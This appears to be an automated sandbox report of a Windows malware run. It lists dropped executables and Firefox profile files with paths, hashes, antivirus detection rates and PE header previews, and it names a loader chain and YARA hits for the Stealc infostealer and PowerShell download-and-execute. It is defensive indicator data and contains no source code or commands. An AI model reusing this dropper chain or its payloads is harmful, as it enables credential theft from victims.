Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3014144
Entropy (8bit):	6.517777460986911
Encrypted:	false
SSDEEP:	49152:cMhHKZENQ0Bh40PgLDmlEUofRp6g+AlqLAuYRQKP:TVKZENQ0/4OgLNpyMqEuYRQK
MD5:	BA4ACD66F5A624204D7E4935BCC7607B
SHA1:	8E7459499A6C10A45BA0F3F1B1DBAF60D8E81B78
SHA-256:	33A4F30902E46A8118225A95B4498A0B693C88E5BEE6192D4A3129F5D59E9382
SHA-512:	C454C42099AE659B197754222DCEC5129489770DCD466F063BEBD4FA316A488F827A9E06AF353EDC43ABABE1B15A529C865518A051348C8100DB301965EB20F0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@..........................@1.....\|.....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...xoqsqsvt.P+......D+.................@...yvvklzuq......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.5846808832804395
Encrypted:	false
SSDEEP:	12288:3qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TH:3qDEvCTbMWu7rQYlBQcBiT6rprG8abH
MD5:	59B54224956FE92C6CF81FF78616CF7F
SHA1:	6B0EF89648FD13D05BC8A4F0F1F313C5186F6454
SHA-256:	BF8C8B70BC76645BA18AB3D6A37B6139AC2D298F058C519AD36D458C4EBC5607
SHA-512:	827C7E406A6E9EA198B76D3E35824777B762787CCAD743C0ECAE84DAE7CB3A0CBC254C1E208FB2BF18845A217D9035F2EB28D1314729474543DA2DF4A4F6133F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....!g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2153984
Entropy (8bit):	7.958606816873537
Encrypted:	false
SSDEEP:	49152:pZR4mqwY06pQkFquznVOIN6ioLpObkclyEaLAORfCG9:elwYpFFPVOI0HprWyFcG
MD5:	B0F2E98C3FEA556C75A29C5325160F58
SHA1:	859B2AE0EEBC20EC4AF6CE55646E38A919289622
SHA-256:	2318713A51559DFD0AF2FF68B596F7121E76659764A5DF406D5950E0E755CF54
SHA-512:	48BA9CC365E32F8C4CC72D391122F2994B19E6CE7CFF75EE9072B677330BFA8498F676FD0B66FBA2F588E5D46C87C640FD63276F626EAEDD62D539FB6A24F9A6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@...........................s.....1.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...qjfwfzym.0...`Y.....................@...mmzyrysa......s....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3014144
Entropy (8bit):	6.517777460986911
Encrypted:	false
SSDEEP:	49152:cMhHKZENQ0Bh40PgLDmlEUofRp6g+AlqLAuYRQKP:TVKZENQ0/4OgLNpyMqEuYRQK
MD5:	BA4ACD66F5A624204D7E4935BCC7607B
SHA1:	8E7459499A6C10A45BA0F3F1B1DBAF60D8E81B78
SHA-256:	33A4F30902E46A8118225A95B4498A0B693C88E5BEE6192D4A3129F5D59E9382
SHA-512:	C454C42099AE659B197754222DCEC5129489770DCD466F063BEBD4FA316A488F827A9E06AF353EDC43ABABE1B15A529C865518A051348C8100DB301965EB20F0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@..........................@1.....\|.....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...xoqsqsvt.P+......D+.................@...yvvklzuq......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2153984
Entropy (8bit):	7.958606816873537
Encrypted:	false
SSDEEP:	49152:pZR4mqwY06pQkFquznVOIN6ioLpObkclyEaLAORfCG9:elwYpFFPVOI0HprWyFcG
MD5:	B0F2E98C3FEA556C75A29C5325160F58
SHA1:	859B2AE0EEBC20EC4AF6CE55646E38A919289622
SHA-256:	2318713A51559DFD0AF2FF68B596F7121E76659764A5DF406D5950E0E755CF54
SHA-512:	48BA9CC365E32F8C4CC72D391122F2994B19E6CE7CFF75EE9072B677330BFA8498F676FD0B66FBA2F588E5D46C87C640FD63276F626EAEDD62D539FB6A24F9A6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@...........................s.....1.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...qjfwfzym.0...`Y.....................@...mmzyrysa......s....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.5846808832804395
Encrypted:	false
SSDEEP:	12288:3qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TH:3qDEvCTbMWu7rQYlBQcBiT6rprG8abH
MD5:	59B54224956FE92C6CF81FF78616CF7F
SHA1:	6B0EF89648FD13D05BC8A4F0F1F313C5186F6454
SHA-256:	BF8C8B70BC76645BA18AB3D6A37B6139AC2D298F058C519AD36D458C4EBC5607
SHA-512:	827C7E406A6E9EA198B76D3E35824777B762787CCAD743C0ECAE84DAE7CB3A0CBC254C1E208FB2BF18845A217D9035F2EB28D1314729474543DA2DF4A4F6133F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....!g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002530001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.949887384266537
Encrypted:	false
SSDEEP:	49152:vR+q1FSpYzAtGRYLG/ogbVctd/Y+6bVdhYHhXorMWEaYt:vR/qAmLG/tctRzdk+aY
MD5:	E6DB0D8CCF91F1C7338EE950B14B8183
SHA1:	72600CE6DDEB596602A46B780D1649AD3EF3DB26
SHA-256:	A006A41ED3584DFF6AF06AFEE1AB379DB99443BCA3BD85D898345955DF2F21AF
SHA-512:	D1A63C4D2EA71DE5E652DD43A8837183E5C3C5D593F0C3569B9FF95F7636D814BB9A484833649228861E522B1512F61ECD98A53C326CE232041B0AF33248170E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`J...........@...........................J.....a.....@.................................W...k...........................$JJ..............................IJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...lltvbtub......0..\|..................@...makelupg.....PJ......p..............@....taggant.0...`J.."...t..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2899456
Entropy (8bit):	6.465912538919988
Encrypted:	false
SSDEEP:	49152:c/0h+LP03PX5DwDRsPIoXwGbGyf1zOxQ0qW1kvkAz1sJF:cyQP03PX5DwDRsQIqy9zS71WkA0
MD5:	2C2EF4A8598A91D781960D9AE7D8CA86
SHA1:	15978D01DC759609DEBB3C09FFB7CF75136A2EDD
SHA-256:	6D23BF5807AFAB26BDD7802571E5D9F36BBB8CE73762B005C49737864CBFB13D
SHA-512:	5E7E8EB53B082741CF2DB7ABC37AA7FC664798ADE105991378A3C5E8A3470EEDEFB46AE9ABF0975F2D83C818FC82291592B702EB249EAC2203BC3445EAD72A57
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,......A,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mljriapp..+.......+..:..............@...mudtavgt. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2899456
Entropy (8bit):	6.465912538919988
Encrypted:	false
SSDEEP:	49152:c/0h+LP03PX5DwDRsPIoXwGbGyf1zOxQ0qW1kvkAz1sJF:cyQP03PX5DwDRsQIqy9zS71WkA0
MD5:	2C2EF4A8598A91D781960D9AE7D8CA86
SHA1:	15978D01DC759609DEBB3C09FFB7CF75136A2EDD
SHA-256:	6D23BF5807AFAB26BDD7802571E5D9F36BBB8CE73762B005C49737864CBFB13D
SHA-512:	5E7E8EB53B082741CF2DB7ABC37AA7FC664798ADE105991378A3C5E8A3470EEDEFB46AE9ABF0975F2D83C818FC82291592B702EB249EAC2203BC3445EAD72A57
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,......A,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mljriapp..+.......+..:..............@...mudtavgt. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.949887384266537
Encrypted:	false
SSDEEP:	49152:vR+q1FSpYzAtGRYLG/ogbVctd/Y+6bVdhYHhXorMWEaYt:vR/qAmLG/tctRzdk+aY
MD5:	E6DB0D8CCF91F1C7338EE950B14B8183
SHA1:	72600CE6DDEB596602A46B780D1649AD3EF3DB26
SHA-256:	A006A41ED3584DFF6AF06AFEE1AB379DB99443BCA3BD85D898345955DF2F21AF
SHA-512:	D1A63C4D2EA71DE5E652DD43A8837183E5C3C5D593F0C3569B9FF95F7636D814BB9A484833649228861E522B1512F61ECD98A53C326CE232041B0AF33248170E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`J...........@...........................J.....a.....@.................................W...k...........................$JJ..............................IJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...lltvbtub......0..\|..................@...makelupg.....PJ......p..............@....taggant.0...`J.."...t..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.949887384266537
Encrypted:	false
SSDEEP:	49152:vR+q1FSpYzAtGRYLG/ogbVctd/Y+6bVdhYHhXorMWEaYt:vR/qAmLG/tctRzdk+aY
MD5:	E6DB0D8CCF91F1C7338EE950B14B8183
SHA1:	72600CE6DDEB596602A46B780D1649AD3EF3DB26
SHA-256:	A006A41ED3584DFF6AF06AFEE1AB379DB99443BCA3BD85D898345955DF2F21AF
SHA-512:	D1A63C4D2EA71DE5E652DD43A8837183E5C3C5D593F0C3569B9FF95F7636D814BB9A484833649228861E522B1512F61ECD98A53C326CE232041B0AF33248170E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`J...........@...........................J.....a.....@.................................W...k...........................$JJ..............................IJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...lltvbtub......0..\|..................@...makelupg.....PJ......p..............@....taggant.0...`J.."...t..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035203016381298996
Encrypted:	false
SSDEEP:	3:GtlstFZH0oQ/LA+oPlstFZH0oQ/LAm/x89//alEl:GtWt3Q/0+oPWt3Q/0mZ89XuM
MD5:	1575638355AAB0F652475409221501CE
SHA1:	2098EA9E83DC178D6918A5609A9CF733EF1C2887
SHA-256:	BB20B61C667F51423E48A5B182EA34FD1429BCCE75C0ADAC3B8BB01CDD55E5C0
SHA-512:	543C3C2C1DFC3B3F7BD7E3A4FFE40A3091A27689550380A50A0F1FE7CBB6E19DA33761CAD710CF36D3C7D1E67CB6E1B42F9B1E1AF0EF49B70B58F9303E792CB1
Malicious:	false
Preview:	..-.........................`..@..G.p..f%....z...-.........................`..@..G.p..f%....z.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03983632420097889
Encrypted:	false
SSDEEP:	3:Ol1NItWLlflQzwIl/57l8rEXsxdwhml8XW3R2:KvIYbQDll8dMhm93w
MD5:	B04A57032E500B03EE0B6C8F9EC59570
SHA1:	24B2DF457149CDE36FFC56501D3FF78EBCA9EE9B
SHA-256:	2F61F5B4DE86C3216EAB155698D82574DE17EA35410B93AC4DF753A2E2781BD2
SHA-512:	80E34DECA182E8876781040510A0486B90A2E059EFD5D1C173C2150E733D5E3ED17D6C13AB951D60C1F30AB2E85F15063469DD127F7B5164EBAA590ABBFEF0A5
Malicious:	false
Preview:	7....-..........@..G.p...M.S............@..G.p........`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515032003895208
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp69qUCaXr6VqkHNBw8dknSl:YeiqUWJPwZ0
MD5:	5309A3E6F8A474C8562D9768CBE504D2
SHA1:	9DB9EB753003609A18CD3CD5FE400E355923F1C4
SHA-256:	6C6C3F14FFE92885E2B87D1416B168B08621F02CC82BB24B5DF6196619F2BB88
SHA-512:	F5555EAE8391715F7C7C42F4DDBF80C4A9E0D389CFE76B125F98FBD1166CEEBFEC0A927E8FEAB57F6471D318A64B39C19AC81C66204FC3EAE027E5952119A33F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515032003895208
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp69qUCaXr6VqkHNBw8dknSl:YeiqUWJPwZ0
MD5:	5309A3E6F8A474C8562D9768CBE504D2
SHA1:	9DB9EB753003609A18CD3CD5FE400E355923F1C4
SHA-256:	6C6C3F14FFE92885E2B87D1416B168B08621F02CC82BB24B5DF6196619F2BB88
SHA-512:	F5555EAE8391715F7C7C42F4DDBF80C4A9E0D389CFE76B125F98FBD1166CEEBFEC0A927E8FEAB57F6471D318A64B39C19AC81C66204FC3EAE027E5952119A33F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
